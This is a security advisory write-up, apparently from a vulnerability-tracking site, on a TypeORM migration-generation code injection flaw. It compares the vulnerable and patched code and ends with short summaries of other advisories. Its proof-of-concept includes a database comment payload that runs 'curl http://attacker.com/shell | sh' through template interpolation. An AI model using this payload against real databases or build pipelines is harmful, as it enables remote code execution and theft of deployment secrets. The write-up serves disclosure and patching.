Jul 22, 2026·5 min read·1 visit
TypeORM versions prior to 0.3.31 fail to escape backslashes and template interpolation sequences (`${`) when writing database schema comments and defaults to generated migration files. This allows attackers to execute arbitrary code via poisoned database metadata.
A critical second-order code injection vulnerability exists in the migration generation engine of TypeORM. When TypeORM introspects a database schema to automatically generate migration files, it writes schema metadata directly into JavaScript/TypeScript migration files inside ES2015 template literals. Because the generator failed to sanitize template literal string interpolation markers and backslashes, attackers with control over database metadata can execute arbitrary code on the developer environment or within a CI/CD pipeline.
TypeORM provides a command-line interface (CLI) that allows developers to automatically generate database migrations by comparing active TypeScript entities with the state of a live database schema. This utility, implemented in MigrationGenerateCommand.ts, programmatically constructs migration code based on differences discovered during introspection. The target fields for introspection include structural configurations such as column comments, default values, and custom table view definitions.
Because generated migrations must run on downstream database instances, TypeORM serializes these introspected properties as static SQL string variables. The engine writes these values inside ES2015 template literals, which are enclosed in backticks (`). If an attacker can manipulate or access a database with metadata control privileges, they can introduce malicious strings that break out of the template literal context.
Since the resulting migration file is an executable JavaScript or TypeScript file, the payload executes the moment the migration script is loaded by the Node.js runtime. This vector shifts the threat scope from database interaction to arbitrary shell execution under the privilege context of the execution environment.
The underlying vulnerability arises from two structural failures in how MigrationGenerateCommand.ts processed database-derived string values. First, the codebase attempted to serialize query strings inside ES2015 template literals by simply replacing literal backticks using replaceAll("", "\"). This approach failed to secure the boundary because it neglected to sanitize the backslash character itself.
When a string contains a backslash character before a backtick, the backslash consumption bypass is triggered. For example, if an attacker supplies the string \``, the simple replacement logic converts this to \`. When the engine evaluates this output, the first two backslashes form a literal escaped backslash (\`), while the third backslash escapes the escaping character, leaving the subsequent backtick active. This allows the attacker to break out of the string literal boundary.
Second, the pre-patched implementation failed to escape template literal interpolation markers ($\{). ES2015 specifications dictate that any expression enclosed within $\{\} is evaluated in the execution scope prior to execution. By passing these characters verbatim, TypeORM allowed arbitrary Node.js expressions to run immediately when the file was parsed by the V8 compilation engine.
An analysis of the vulnerable code path inside src/commands/MigrationGenerateCommand.ts reveals how introspected SQL commands were previously concatenated into the output buffer without safety checks:
// Vulnerable execution block in MigrationGenerateCommand.ts
sqlInMemory.upQueries.forEach((upQuery) => {
upSqls.push(
" await queryRunner.query(`" +
upQuery.query.replaceAll("`", "\\`") +
"`" +
MigrationGenerateCommand.queryParams(upQuery.parameters)
);
});The fix, merged across commits 41d1c62fe49f99c3ca916d4d986f61ee9f45d519 and b175f9b8be422edd2a2ac035ba90c3f2ce782dfe, introduced a robust, sequential sanitization step. Below is the patched implementation:
// Patched execution block using the new escape utility
sqlInMemory.upQueries.forEach((upQuery) => {
upSqls.push(
" await queryRunner.query(`" +
MigrationGenerateCommand.escapeTemplateLiteral(upQuery.query) +
"`" +
MigrationGenerateCommand.queryParams(upQuery.parameters)
);
});
// Sequential escaping implementation to block injection vectors
protected static escapeTemplateLiteral(query: string): string {
return query
.replace(/\\/g, "\\\\")
.replace(/`/g, "\\`")
.replace(/\$\{/g, "\\${");
}The order of operations inside escapeTemplateLiteral is vital to security. By replacing single backslashes (\) with double backslashes (\\) first, the compiler ensures that user-supplied backslashes cannot neutralize the escape characters generated for backticks and template string interpolation sequences.
To execute this attack, the threat actor must first inject a malicious payload into the database metadata. This represents a classic second-order injection pattern, requiring two distinct phases.
In the first phase, the attacker modifies the metadata of a table column. For a PostgreSQL target, the command alters a column comment:
COMMENT ON COLUMN "user"."email" IS 'User Identity ${process.mainModule.require("child_process").execSync("curl http://attacker.com/shell | sh")}';In the second phase, the developer or CI/CD container runs the schema introspection command:
npx typeorm migration:generate src/migrations/SyncUsers -d src/data-source.tsThis writes the metadata verbatim into the migrations folder. When the migration file is parsed, the V8 engine interprets the payload in the context of the running application, executing the shell payload.
The CVSS Base Score is evaluated at 8.0 (High). Although the attack complexity is High because it requires schema modification permissions or an active SQL injection vulnerability, the consequences of successful exploitation are absolute.
If the application utilizes automated CI/CD deployment jobs that run schema migrations on merge or deployment, the pipeline environment becomes directly compromised. This compromise exposes sensitive repository secrets, database connection parameters, production cloud credentials, and deployment environments.
The scope transition is defined as a Scope Change (S:C). The vulnerability starts as a passive data variable stored inside a database catalog and escalates to full remote code execution inside the hosting operating system.
| Product | Affected Versions | Fixed Version |
|---|---|---|
typeorm TypeORM | < 0.3.31 | 0.3.31 |
typeorm TypeORM | >= 1.0.0 < 1.1.0 | 1.1.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94, CWE-116, CWE-74 |
| Attack Vector | Network (Second-order via database metadata) |
| CVSS Score | 8.0 (High) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | PoC Documented |
| KEV Status | Not Listed |
The application constructs code dynamically based on external inputs, failing to neutralize or sanitize string interpolation blocks.
A critical validation bypass exists in FasterXML jackson-core due to an incomplete fix for GHSA-72hv-8253-57qq. When parsing JSON asynchronously using NonBlockingUtf8JsonParserBase, the StreamReadConstraints.maxNumberLength constraint is bypassed when numeric inputs are received in small, non-terminating chunks. The parser continually accumulates digit-only input in an internal buffer without triggering validation constraints, resulting in potential heap memory exhaustion and application-level Denial of Service.
A security logic flaw in Loofah, a Ruby HTML/XML sanitization library, allowed unauthenticated attackers to bypass local-reference restrictions on SVG elements. Prior to version 2.25.2, Loofah only sanitized the legacy namespaced "xlink:href" attribute when enforcing local URI fragments on SVG elements like "<use>". It did not validate or sanitize the plain, non-namespaced "href" attribute introduced in the SVG 2 standard. This structural omission allowed attackers to construct SVG elements referencing external domains, paving the way for arbitrary resource loading and cross-site scripting (XSS).
A critical HTML sanitization bypass vulnerability in the Ruby library Loofah allows unauthenticated remote attackers to execute Stored Cross-Site Scripting (XSS) attacks. By using semicolon-less numeric character references (NCRs) to encode protocol characters, attackers can evade backend URI verification filters while ensuring the malicious protocol is successfully decoded and executed by client-side web browsers.
GHSA-HRXH-6V49-42GF is a critical security advisory addressing two distinct vulnerabilities within gRPC-Go: an HTTP/2 Control Buffer Flooding weakness that allows unauthenticated denial of service, and xDS Role-Based Access Control parser weaknesses that lead to authorization bypasses and application panics.
An unauthenticated memory-leak Denial of Service (DoS) vulnerability exists in the Node.js Adapter for Hono (@hono/node-server) during the WebSocket handshake upgrade process. If a client initiates a WebSocket upgrade but the process is aborted or fails, resources are permanently retained in memory, leading to heap exhaustion.
An issue in rails-html-sanitizer allowed attackers to bypass restrictions on SVG reference elements (such as <use> or <feImage>) when specific custom configurations allowed these tags. Because the sanitizer only restricted the legacy 'xlink:href' attribute to local references, modern browsers supporting plain 'href' attributes according to the SVG 2 specification would load external resources. This could lead to Cross-Site Scripting (XSS) or user tracking.